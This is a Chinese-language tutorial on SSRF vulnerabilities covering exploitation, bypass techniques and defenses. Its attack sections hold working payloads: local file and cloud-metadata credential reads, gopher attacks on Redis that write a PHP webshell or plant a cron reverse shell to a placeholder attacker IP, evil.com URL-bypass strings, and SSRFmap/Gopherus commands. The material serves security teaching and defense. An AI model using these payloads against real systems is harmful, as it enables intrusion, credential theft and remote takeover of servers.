Web安全之SSRF漏洞详解教学文档
一、SSRF 概述
1.1 定义
SSRF,全称 Server-Side Request Forgery,即服务端请求伪造。攻击者通过构造恶意输入,使服务器端发起非预期请求,访问外网无法直接访问的内部系统、云元数据、本地文件或内网服务。
SSRF 的本质是:服务器提供了从其他服务器或地址获取数据的能力,但没有对用户可控的目标地址进行严格校验,导致攻击者可以借服务器之手发起请求。
1.2 与 CSRF 的区别
- CSRF:客户端请求伪造,攻击者诱导受害者在已登录状态下发起请求。
- SSRF:服务端请求伪造,攻击者控制服务器发起请求,攻击目标通常是内网、本机或云环境。
1.3 常见产生场景
SSRF 常出现在以下功能中:
- 远程图片加载、下载
- URL 预览、文章分享、收藏
- RSS 订阅、Feed 抓取
- Webhook、回调地址
- API 代理、网关转发
- 在线翻译、PDF 导出、网页截图
- 文件导入、数据同步
- 二维码生成、在线编辑器
- OAuth、SSO 回调
- 任何包含
url、uri、link、src、target、callback、webhook、path、host、port、file、image、proxy、fetch、download等参数的地方
二、SSRF 漏洞原理与代码示例
2.1 基本原理
服务端从用户输入中获取 URL 或地址,然后使用 HTTP 客户端、文件函数或 socket 函数发起请求。如果未限制目标地址,攻击者可传入:
http://127.0.0.1/
http://192.168.1.1/
file:///etc/passwd
dict://127.0.0.1:6379/info
gopher://127.0.0.1:6379/_...
服务器会以自身身份去访问这些地址,从而造成信息泄露、内网探测、服务攻击等风险。
2.2 PHP 脆弱代码示例
<?php
$url = $_GET['url'];
echo file_get_contents($url);
?>
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch);
echo $result;
?>
2.3 常见危险函数与组件
-
PHP:
file_get_contents()fsockopen()curl_exec()fopen()readfile()getimagesize()imagecreatefromjpeg()SoapClientxmlrpcsimplexml_load_file()
-
Java:
URLConnectionHttpClientImageIO.readRestTemplateWebClient
-
Python:
requests.geturllib.request.urlopenhttp.clientaiohttp
-
Node.js:
http.getaxiosfetchrequest
三、SSRF 支持的协议与利用能力
不同语言、不同 HTTP 客户端支持的协议不同。常见协议包括:
| 协议 | 用途 |
|---|---|
| http/https | 访问内网 Web、探测服务、访问云元数据 |
| file | 读取本地文件 |
| dict | 探测端口、获取服务 banner |
| gopher | 构造任意 TCP 流量,攻击 Redis、FastCGI、MySQL 等 |
| ftp/sftp/tftp | 文件传输、探测服务 |
| ldap | 访问 LDAP 服务 |
| telnet | 连接 Telnet 服务 |
| jar/netdoc | Java 环境可能支持的特殊协议 |
其中 gopher 是 SSRF 利用中最危险的协议之一,因为它可以发送任意 TCP 数据包。
四、SSRF 常见利用方式
4.1 内网探测与端口扫描
攻击者可通过访问不同内网 IP 和端口,根据响应时间、状态码、返回内容判断主机是否存活、端口是否开放。
示例:
http://127.0.0.1:80
http://127.0.0.1:8080
http://192.168.1.1:22
dict://127.0.0.1:6379/info
dict://127.0.0.1:3306
常见内网目标端口:
- 22 SSH
- 80/8080/8000 Web
- 443 HTTPS
- 6379 Redis
- 3306 MySQL
- 9000 FastCGI/PHP-FPM
- 9200 Elasticsearch
- 11211 Memcached
- 2375 Docker API
- 10250/10255 Kubernetes
- 8080/8081 Jenkins、Tomcat、WebLogic、JBoss
- 50070 Hadoop
- 10000 Zabbix
4.2 读取本地文件
使用 file 协议读取服务器本地文件:
file:///etc/passwd
file:///etc/shadow
file:///proc/self/cmdline
file:///proc/self/environ
file:///var/www/html/config.php
file:///c:/windows/win.ini
file:///c:/boot.ini
可获取源码、配置、密钥、环境变量、进程信息等敏感内容。
4.3 攻击内网 Web 应用
通过 SSRF 访问内网 Web 系统,例如:
http://192.168.1.10/admin
http://127.0.0.1:8080/manager/html
http://127.0.0.1:9200/_cat/indices
http://127.0.0.1:2375/containers/json
若内网系统存在未授权访问、弱口令、默认口令,可进一步利用。
4.4 攻击内网服务
4.4.1 Redis 未授权访问
通过 gopher 协议攻击 Redis,可实现:
- 写 Webshell
- 写 SSH 公钥
- 写计划任务反弹 Shell
- 主从复制 RCE
写 Webshell 示例逻辑:
flushall
set 1 "\n\n<?php eval($_POST[1]);?>\n\n"
config set dir /var/www/html
config set dbfilename shell.php
save
写计划任务示例逻辑:
set 1 "\n\n*/1 * * * * bash -i >& /dev/tcp/攻击IP/端口 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save
写 SSH 公钥示例逻辑:
set 1 "\n\nssh-rsa AAAA...\n\n"
config set dir /root/.ssh
config set dbfilename authorized_keys
save
实际利用时需将 Redis 命令转换为 gopher://127.0.0.1:6379/_ 后接 URL 编码内容。
4.4.2 FastCGI/PHP-FPM
若内网存在 PHP-FPM 9000 端口,可利用 gopher 伪造 FastCGI 协议,设置 SCRIPT_FILENAME,执行任意 PHP 代码或系统命令。
常用工具:Gopherus。
4.4.3 MySQL
通过 gopher 构造 MySQL 协议包,可进行弱口令探测、查询数据,甚至结合 LOAD_FILE、INTO OUTFILE 写文件。
4.4.4 Docker API
访问:
http://127.0.0.1:2375/containers/json
http://127.0.0.1:2375/version
若 Docker API 未授权,可创建容器、挂载宿主机目录、逃逸。
4.4.5 Kubernetes
访问:
http://127.0.0.1:10250/pods
http://127.0.0.1:10255/pods
获取 Pod、节点、密钥信息。
4.4.6 Elasticsearch、Memcached、Zabbix、Jenkins、Hadoop、JBoss、WebLogic
这些服务若存在未授权访问或弱口令,均可通过 SSRF 进一步探测和利用。
4.5 云环境元数据攻击
SSRF 访问云元数据地址,可获取临时凭证、IAM 信息、用户数据等。
常见云元数据地址:
-
AWS:
http://169.254.169.254/latest/meta-data/IMDSv2 需要 Token。
-
阿里云:
http://100.100.100.200/latest/meta-data/ -
腾讯云:
http://metadata.tencentyun.com/latest/meta-data/ -
华为云:
http://169.254.169.254/latest/meta-data/ -
GCP:
http://metadata.google.internal/computeMetadata/v1/需要 Header:
Metadata-Flavor: Google -
Azure:
http://169.254.169.254/metadata/instance?api-version=2021-02-01需要 Header:
Metadata: true
获取云凭证后,可能导致云资源被接管。
4.6 盲 SSRF
当服务器不返回请求结果时,属于盲 SSRF。可利用:
- DNSLog
- Burp Collaborator
- Interactsh
- Ceye
- 时间差异
- 外带 HTTP 请求
- 错误信息侧信道
五、SSRF 绕过技巧
5.1 IP 变形绕过
常见内网地址变形:
127.0.0.1
127.1
0177.0.0.1
0x7f.0.0.1
2130706433
0x7f000001
[::1]
[::ffff:127.0.0.1]
其他变形:
127.0.0.1.nip.io
127.0.0.1.xip.io
5.2 URL 解析差异绕过
不同语言、不同库对 URL 解析不一致,常见 payload:
http://127.0.0.1@evil.com
http://evil.com@127.0.0.1
http://127.0.0.1#@evil.com
http://127.0.0.1?@evil.com
http://127.0.0.1\@evil.com
部分过滤器取 @ 前内容,实际客户端取 @ 后内容,从而绕过黑名单。
5.3 302 跳转绕过
攻击者控制外部服务器,返回:
HTTP/1.1 302 Found
Location: http://127.0.0.1/
如果服务端跟随跳转,则可绕过初始 URL 校验。
5.4 DNS Rebinding
第一次 DNS 解析返回外网 IP,通过校验;第二次解析返回内网 IP,实际访问内网。防御时需解析后固定 IP,或禁止跟随跳转。
5.5 协议绕过
若只过滤 http,可尝试:
https
file
dict
gopher
ftp
ldap
若只允许 http,可尝试大小写、URL 编码、畸形 URL。
5.6 白名单绕过
- 开放重定向
- 子域名接管
- 泛域名解析
- 上传文件到目标域
- 利用可信域名跳转
5.7 封闭式 SSRF
当只能访问指定域名时,可通过:
- 该域名上的开放重定向
- 该域名上的 SSRF
- DNS Rebinding
- 子域名接管
- 文件上传获取同源 URL
六、SSRF 漏洞挖掘思路
6.1 寻找参数
重点关注:
url
uri
link
src
source
target
dest
redirect
callback
webhook
feed
host
port
path
file
image
img
proxy
fetch
load
download
return
next
domain
6.2 寻找功能点
- 远程图片加载
- 文件下载
- URL 预览
- 分享、收藏
- RSS 订阅
- Webhook
- API 代理
- 翻译
- PDF 导出
- 网页截图
- 二维码生成
- 在线编辑器
- 数据导入导出
- OAuth/SSO 回调
6.3 测试方法
- 将参数替换为 DNSLog 地址,观察是否有外带请求。
- 替换为
http://127.0.0.1:80,观察响应差异。 - 使用
dict://探测端口。 - 使用
file://尝试读取文件。 - 使用 Burp Collaborator、Interactsh 检测盲 SSRF。
- 使用
tcpdump、nc监听外带流量。 - 对内网常见端口进行扫描。
- 尝试
gopher攻击 Redis、FastCGI、MySQL。
6.4 常用工具
- Gopherus
- SSRFmap
- redis-ssrf
- Burp Suite
- DNSLog
- Interactsh
- Ceye
- Collaborator
七、SSRF 防御方案
7.1 白名单
最有效的方式是白名单:
- 只允许指定协议:
http、https - 只允许指定域名
- 只允许指定 IP 段
- 只允许指定端口:如 80、443
7.2 URL 解析后校验
解析 URL,校验 scheme、host、port、path。
$url = $_GET['url'];
$parsed = parse_url($url);
if (!in_array($parsed['scheme'], ['http', 'https'])) {
exit('scheme not allowed');
}
$host = $parsed['host'];
$ip = gethostbyname($host);
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {
exit('ip not allowed');
}
7.3 禁止跳转
设置 HTTP 客户端不跟随跳转:
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
7.4 禁止危险协议
只允许 http/https,禁用:
file
dict
gopher
ftp
ldap
telnet
7.5 限制端口
仅允许 80、443 等必要端口,禁止访问 6379、3306、9000、2375 等敏感端口。
7.6 防止 DNS Rebinding
- 解析 DNS 后固定 IP 进行连接
- 不使用系统默认解析后再请求
- 缓存 DNS 结果
- 禁止跳转
7.7 统一错误信息
不要返回详细错误、内网 banner、响应时间差异,避免信息泄露。
7.8 限制响应内容
- 限制返回大小
- 只返回图片或指定类型
- 不返回完整响应体
- 对内容进行转义
7.9 网络层隔离
- 出站防火墙
- DMZ 区
- 代理服务器
- 最小权限
- 内网服务鉴权
- 云元数据保护,如 AWS IMDSv2
7.10 其他
- 及时更新中间件
- Redis、Docker、Kubernetes 等禁止未授权访问
- 敏感服务不要监听
0.0.0.0 - 使用强口令
- 定期安全评估
八、典型 Payload 与利用链
8.1 读取文件
file:///etc/passwd
file:///c:/windows/win.ini
8.2 探测端口
dict://127.0.0.1:6379/info
dict://127.0.0.1:3306
8.3 访问内网 Web
http://127.0.0.1:8080/
http://192.168.1.1/admin
8.4 访问云元数据
http://169.254.169.254/latest/meta-data/
http://100.100.100.200/latest/meta-data/
8.5 gopher 攻击 Redis
基本格式:
gopher://127.0.0.1:6379/_<URL编码后的Redis命令>
Redis 命令之间使用 \r\n 分隔,实际发送时 URL 编码为 %0d%0a。
8.6 gopher 攻击 FastCGI
使用 Gopherus 生成 payload:
python gopherus.py --exploit fastcgi
输入目标 127.0.0.1:9000 和要执行的命令。
8.7 SSRFmap 使用
python ssrfmap.py -r request.txt -p url -m redis
python ssrfmap.py -r request.txt -p url -m portscan
python ssrfmap.py -r request.txt -p url -m readfiles
支持模块包括:
- redis
- fastcgi
- mysql
- portscan
- readfiles
- gopher
- smb
九、总结
SSRF 是一类危害极高的 Web 安全漏洞。它利用服务器端请求能力,突破网络边界,访问内网、本机、云元数据和敏感服务。常见利用包括内网探测、文件读取、Redis 未授权、FastCGI 代码执行、云凭证窃取等。
防御 SSRF 不能只依赖黑名单,应采用:
- 协议白名单
- 域名/IP/端口白名单
- URL 解析后校验
- 禁止跳转
- 禁用危险协议
- DNS 解析后固定 IP
- 网络隔离
- 统一错误信息
- 云元数据保护
只有将代码层校验与网络层隔离结合,才能有效降低 SSRF 风险。